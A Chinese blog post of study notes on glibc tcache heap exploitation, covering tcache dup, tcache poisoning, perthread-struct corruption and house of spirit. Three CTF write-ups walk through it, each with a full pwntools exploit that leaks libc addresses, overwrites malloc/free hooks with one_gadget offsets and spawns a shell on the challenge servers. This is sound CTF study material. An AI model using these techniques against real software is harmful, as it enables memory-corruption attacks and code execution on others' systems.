Tcache Attack学习记录

What's Tcache?

tcache全称thread local caching,是glibc2.26后新加入的一种缓存机制(在Ubuntu 18及之后的版本中应用),提升了不少性能,但是与此同时也大大牺牲了安全性,在ctf-wiki中介绍tcache的标题便是tcache makes heap exploitation easy again,与fastbin非常相似但优先级高于fastbin,且相对于fastbin来说少了很多检查,所以更加便于进行漏洞利用。

对于增加源代码的具体分析可以参考这篇文章: https://nightrainy.github.io/2019/07/11/tcache%E6%9C%BA%E5%88%B6%E5%88%A9%E7%94%A8%E5%AD%A6%E4%B9%A0/

这里只做简单的要点罗列:

  1. tcache机制的主体是tcache_perthread_struct结构体,其中包含单链表tcache_entry
  2. 单链表tcache_entry,也即tcache Bin的默认最大数量是64,在64位程序中申请的最小chunk size为32,之后以16字节依次递增,所以size大小范围是0x20-0x410,也就是说我们必须要malloc size≤0x408的chunk
  3. 每一个单链表tcache Bin中默认允许存放的chunk块最大数量是7
  4. 在申请chunk块时,如果tcache Bin中有符合要求的chunk,则直接返回;如果在fastbin中有符合要求的chunk,则先将对应fastbin中其他chunk加入相应的tcache Bin中,直到达到tcache Bin的数量上限,然后返回符合符合要求的chunk;如果在smallbin中有符合要求的chunk,则与fastbin相似,先将双链表中的其他剩余chunk加入到tcache中,再进行返回
  5. 在释放chunk块时,如果chunk size符合tcache Bin要求且相应的tcache Bin没有装满,则直接加入相应的tcache Bin
  6. 与fastbin相似,在tcache Bin中的chunk不会进行合并,因为它们的pre_inuse位会置成1

结合Tcache机制的常见漏洞利用方式

tcache dup

与fastbin dup相似,但是正如上文中所说,它比fastbin dup更好利用,漏洞利用原因在于向tcache Bin中插入chunk的函数tcache_put()几乎没有检查:

/* Caller must ensure that we know tc_idx is valid and there's room
   for more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

所以我们甚至无需在double free时插入一个无关chunk以绕过检查,可以直接对一个chunk进行多次释放操作,下面根据一道非常简单的例题进行进一步的说明:

例题:buuoj -- [BJDCTF 2nd]ydsneedgirlfriend2

WP:

使用exeinfo查看程序,可以看到是在ubuntu 18的环境下进行编译的:

因此,需要考虑tcache机制的影响。

分析程序,可以发现主要有:add()dele()show()三个功能,同时有一个非常友好的后门函数,执行即可直接getshell。分析add()函数,可以发现限制了添加的数量最大为8次,没有限制申请name的chunk块的大小,看起来没有堆溢出点,具体的结构如下:

分析dele()函数,发现有明显的UAF漏洞可以利用;分析show()函数,发现代码执行了上图结构中的打印函数。因此,我们的思路是利用tcache dup连续释放两次相同的chunk,结合UAF漏洞,构造多指针指向同一chunk,随后即可将打印函数覆盖成后门函数并执行:

add(0x20,'aaaa')#0
delete(0)
delete(0)

随后下断点调试可以看到存放大小0x20chunk的tcache Bin中放入了两个相同的chunk块:

随后我们申请size为0x10大小的name chunk,即可将这两个chunk依次取出,利用UAF覆盖打印函数为后门函数,执行show()函数即执行了后门函数,可以getshell,exp如下:

from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')

local=1
binary_name='ydsneedgirlfriend2'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',26544)
    e=ELF("./"+binary_name)
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'\x00'))

def add(lenth,name):
    ru("u choice :\n")
    sl('1')
    ru('Please input the length of her name:\n')
    sl(str(lenth))
    ru("Please tell me her name:\n")
    sl(name)
def delete(idx):
    ru("u choice :\n")
    sl('2')
    ru("Index :")
    sl(str(idx))
def show(idx):
    ru("u choice :\n")
    sl('3')
    ru("Index :")
    sl(str(idx))

z('b *0x400A32\nb *0x400AFF\nb *0x400C5D\nb *0x400C7D\nb *0x400D6E\n')
add(0x20,'aaaa')#0
delete(0)
delete(0)
add(0x10,p64(0x400D86)*2)#1
#show(0)
p.interactive()

tcache poisoning

同样,由于tcache_put函数在把chunk放入tcache Bin时没有做过多检查,我们可以在释放一个chunk将其放入tcache后,直接修改其fd指针为任意地址处,比fastbin attack更易利用的是我们无需构造fake_fastbin_size以绕过检查,便可直接将任意地址处插入到tcache Bin中。因此,常与其他漏洞利用方式,例如:off by one等结合,用来在最后劫持程序流到one_gadget程序段或system等函数处。下面通过详细分析一道例题进行进一步说明:

例题:buuoj -- hitcon_2018_children_tcache

WP:

根据题目我们也几乎可以确定题目需要考虑tcache机制的影响,分析程序,可以看到主要有new()\delete()\show()三个功能。进一步分析new()函数,发现限制了添加数量最大值为10,在读入Data的时候将换行符替换成了字符串结束符'\x00',为直接泄露地址增加了困难,可以发现明显的漏洞在于:

使用了strcpy()函数拷贝字符串,会多添加一个字符串结束符'\x00';分析delete()函数,正常无UAF漏洞,但是需要注意:

程序在释放chunk后会进行垃圾数据0xda的填充,为我们泄露地址进一步增加困难;同时,程序存在show()函数可以利用以泄露地址。因此,我们的思路是主要利用off by null这一漏洞,构造内存结构,具体细节如下:

第一步,首先我们的目标应该是泄露libc地址,由于本题对申请chunk的size限制并不严格,因此我们考虑利用unsortedbin中的Bin头chunk的fd和bk指向main_arena这一特点泄露,由于有上文提到的\x00截断问题,我们考虑构造堆块重叠,利用已分配堆块的show()功能打印地址,因此我们先构造内存结构,利用off by null将后一chunk的pre_inuse位置0,实现在释放时触发unlink,与前面的chunk合并:

1 new(0x410,'a'*0x410)#0
2 new(0x28,'a')#1
3 new(0x4f0,'a')#2
4 #-->防止chunk2释放时与top chunk合并
5 new(0x10,'/bin/sh')#3
6 delete(1)
7 delete(0)
8 #-->消除0xda垃圾数据填充的影响,正确覆盖pre_size
9 for i in range (0,9):
10     new(0x28-i,'a'*(0x28-i))#0
11     delete(0)
12 new(0x28,'a'*0x20+p64(0x450))#0
13 #-->触发unlink
14 delete(2)

当i为0时,执行第10行后可以看到user_data size为0x4f0的chunk的size位由0x501修改成了0x500,可以认为前一chunk块已释放:

为了避免0xda数据影响覆盖pre_size,循环一个一个字节利用strcpy()漏洞进行清除,随后正确覆盖pre_size为0x450:

随后,delete(2)即可触发unlink机制,与前面0x450大小的chunk合并,中间0x20的chunk变成功堆块重叠的一部分:

随后,由于从unsortedbin中割出一块chunk后剩余部分的chunk的fd和bk仍然指向main_arena,利用重叠的chunk泄露地址(此处注意在glibc 2.26下,unsortedbin的fd已经不再指向<main_arena+88>处,而是<main_arena+96>):

new(0x410,'a')#1
show(0)
leak_addr=leak_address()
print hex(leak_addr)
libc_base=leak_addr-96-libc.sym['__malloc_hook']-0x10

最后,终于可以利用tcache poisoning劫持程序流了,此时申请大小为0x20的chunk 2与chunk 0指向同一地址,由于缺少edit函数,我们结合tcache dup连续释放chunk两次,再次申请内存即可修改tcache中剩余chunk的fd指针为free_hook,实现申请任意地址chunk,写入one_gadget,即可getshell:

new(0x28,'a')#2-->0
delete(2)
delete(0)
new(0x20,p64(libc_base+libc.sym['__free_hook']))#0
new(0x20,'a')
one_gadget=libc_base+0x4f322
new(0x20,p64(one_gadget))
delete(3)

完整的exp如下:

from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')

local=1
binary_name='HITCON_2018_children_tcache'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',25879)
    e=ELF("./"+binary_name)
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'\x00'))

def new(size,data):
    sla("Your choice: ",'1')
    sla("Size:",str(size))
    sla("Data:",data)

def show(idx):
    sla("Your choice: ",'2')
    sla("Index:",str(idx))

def delete(idx):
    sla("Your choice: ",'3')
    sla("Index:",str(idx))

z('b *0x555555554D6B\nb *0x555555554DCA\nb *0x555555554F7E\n')
new(0x410,'a'*0x410)#0
new(0x28,'a')#1
new(0x4f0,'a')#2
new(0x10,'/bin/sh')#3
#-->
delete(1)
delete(0)
for i in range (0,9):
    new(0x28-i,'a'*(0x28-i))#0
    delete(0)
new(0x28,'a'*0x20+p64(0x450))#0
delete(2)
new(0x410,'a')#1
show(0)
leak_addr=leak_address()
print hex(leak_addr)
libc_base=leak_addr-96-libc.sym['__malloc_hook']-0x10
new(0x28,'a')#2-->0
delete(2)
delete(0)
new(0x20,p64(libc_base+libc.sym['__free_hook']))#0
new(0x20,'a')
one_gadget=libc_base+0x4f322
new(0x20,p64(one_gadget))
delete(3)
p.interactive()
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

tcache perthread corruption

在堆题中,我们常见的一种泄露地址的方法是泄露unsortedbin中chunk的fdbk,而在严格限制chunk大小的堆题中,如果有tcache机制的影响,我们必须需要先将tcache Bin填满,才能把chunk放入unsortedbin中,再进行地址泄露。于是,有些堆题会对mallocfree操作的次数设定限制,这时我们可以考虑伪造tcache机制的主体tcache_perthread_struct结构体。在源代码中对其定义如下:

/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;        
} tcache_entry;

/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];     //数组counts用于存放每个bins中的chunk数量
  tcache_entry *entries[TCACHE_MAX_BINS];   //数组entries用于放置64个bins
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;

可以看到tcache_perthread_struct结构体首先是类型为char(一个字节)的counts数组,用于存放64个bins中的chunk数量,随后依次是对应size大小0x20-0x410的64个entries(8个字节),用于存放64个bins的Bin头地址,我写了如下非常简单的测试程序来具体看一看这个结构体:

#include <stdlib.h>

int main()
{
    void *ptr1,*ptr2,*ptr3;
    ptr1=malloc(0x10);
    ptr2=malloc(0x80);
    ptr3=malloc(0x20);
    free(ptr2);
    free(ptr1);
    free(ptr1);
    free(ptr1);
    free(ptr1);
    free(ptr1);
    free(ptr1);
    free(ptr1);
    free(ptr1);
    return 0;
}

结合调试:

了解了这个结构体后,我们就可以具体利用了,下面结合一道例题进行进一步说明:

例题:buuoj -- [V&N2020 公开赛]easyTHeap

WP:

首先依然是glibc2.26下的环境,分析程序,主要有add() edit() show() delete()四个功能,可以看到,限制了最多进行7次添加操作,3次删除操作。分析add()函数,看到对申请chunk的size进行了一定限制;分析edit()函数,发现通过size数组限制了写入字节数;分析show()函数,实现正常的显示功能,可利用来泄露地址;分析delete()函数,存在UAF漏洞,但是会将size数组清零,这意味着在delete堆块后便无法任意修改。所以我们的思路是,通过tcache dup泄露堆地址,随后通过tcache poisoning,将chunk申请到堆基址,也即存放tcache_perthread_struct的地址,实现对结构体的伪造,即可实现把chunk放入unsortedbin以泄露地址,同时可以通过构造entries的内容,再次申请堆块到任意地址,进一步实现getshell;

第一步,通过tcache dup泄露堆地址,这里需要多分配一个chunk,以防止chunk 0释放后与top chunk的合并,由于连续两次释放chunk,chunk中的fd指针指向自身地址,可泄露堆基址:

add(0x80)#0
add(0x10)#1 -->
delete(0)
delete(0)
show(0)
leak_addr=leak_address()
print hex(leak_addr)
heap_base=leak_addr-0x250-0x10
log.info("heap_addr:"+hex(heap_base))

第二步,tcache poisoning 申请chunk到heap_base:

add(0x80)#2->0
#修改chunk0的fd
edit(2,p64(heap_base+0x10))
add(0x80)#3->0
add(0x80)#4->heap_+0x10

第三步,伪造tcache_perthread_struct结构体中的counts数组,这里我将其全部修改为上限7,随后再次释放大小为0x80的chunk即可放入unsortedbin并泄露地址了:

pd='\x07'*64
edit(4,pd)
delete(0)
show(0)
leak_addr=leak_address()
print hex(leak_addr)
libc_base=leak_addr-96-0x10-libc.sym['__malloc_hook']

第四步,通过修改结构体中entries数组的第一个内容,即size=0x20的chunk的tcache Bin头,再次申请0x10的chunk可以申请到指定地址的chunk,实现任意地址写:

但是这里受次数限制我们不能写入free_hook,checksec查看可以看到Full RELRO保护开启,无法写入函数的got表,malloc函数的参数又是我们自己写入的,无法写入'/bin/sh'字符串,所以我们只能向malloc_hook中写入one_gadget地址,但是这里将可用的one_gadget全部尝试后发现均不满足条件,于是我们必须利用realloc——hook,通过libc中realloc函数前一系列的抬栈操作来满足one_gadget可以使用的条件:

同时realloc_hookmalloc_hook地址是连续的:

因此我们劫持程序流至realloc_hook地址处,可以同时向两个hook地址中任意写,我们只需向realloc_hook中写入one_gadget,向malloc_hook中写入realloc地址加上适当的偏移(抬栈时push操作的次数不同,我们一般加上8即可),就可以在再次malloc时先去realloc函数处执行,抬栈后满足one_gadget的要求,再去执行realloc_hook中存放的one_gadget,进行getshell:

malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc=libc_base+libc.sym['__libc_realloc']
one_gadget=0x10a38c+libc_base
edit(4,'\x07'*64+p64(malloc_hook-8))
add(0x10)#5
edit(5,p64(one_gadget)+p64(realloc+8))
add(0x10)#6

完整的exp如下:

from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')

local=0
binary_name='./vn_pwn_easyTHeap'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',27084)
    e=ELF("./"+binary_name)
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'\x00'))

def add(size):
    sla("choice: ",'1')
    sla("size?",str(size))
def edit(idx,content):
    sla("choice: ",'2')
    sla("idx?",str(idx))
    sla("content:",content)
def show(idx):
    sla("choice: ",'3')
    sla("idx?",str(idx))
def delete(idx):
    sla("choice: ",'4')
    sla("idx?",str(idx))

z('b *0x555555554B6F\nb *0x555555554C90\nb *0x555555554D18\nb *0x555555554DA0\n')
add(0x80)#0
add(0x10)#1 -->
delete(0)
delete(0)
show(0)
leak_addr=leak_address()
print hex(leak_addr)
heap_base=leak_addr-0x250-0x10
log.info("heap_addr:"+hex(heap_base))
add(0x80)#2->0
edit(2,p64(heap_base+0x10))
add(0x80)#3->0
add(0x80)#4->heap_+0x10
pd='\x07'*64
edit(4,pd)
delete(0)
show(0)
leak_addr=leak_address()
print hex(leak_addr)
libc_base=leak_addr-96-0x10-libc.sym['__malloc_hook']
malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc=libc_base+libc.sym['__libc_realloc']
one_gadget=0x10a38c+libc_base
edit(4,'\x07'*64+p64(malloc_hook-8))
add(0x10)#5
edit(5,p64(one_gadget)+p64(realloc+8))
add(0x10)#6
p.interactive()
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

tcache house of spirit

与house of spirit的利用方式几乎相同(详见House of Spirit),但是由于tcache_put函数几乎没有检查,因此构造fake tcache chunk内存时需要绕过的检查更加宽松,具体如下:

  1. fake chunk的size在tcache的范围中(64位程序中是32字节到410字节),且其ISMMAP位不为1
  2. fake chunk的地址对齐

这里不需要构造next chunk的size,也不需要考虑double free的情况,因为free堆块到tcache中的时候不会进行这些检查

posted @ 2020-04-05 22:29  Theffth  阅读(1212)  评论(0编辑  收藏  举报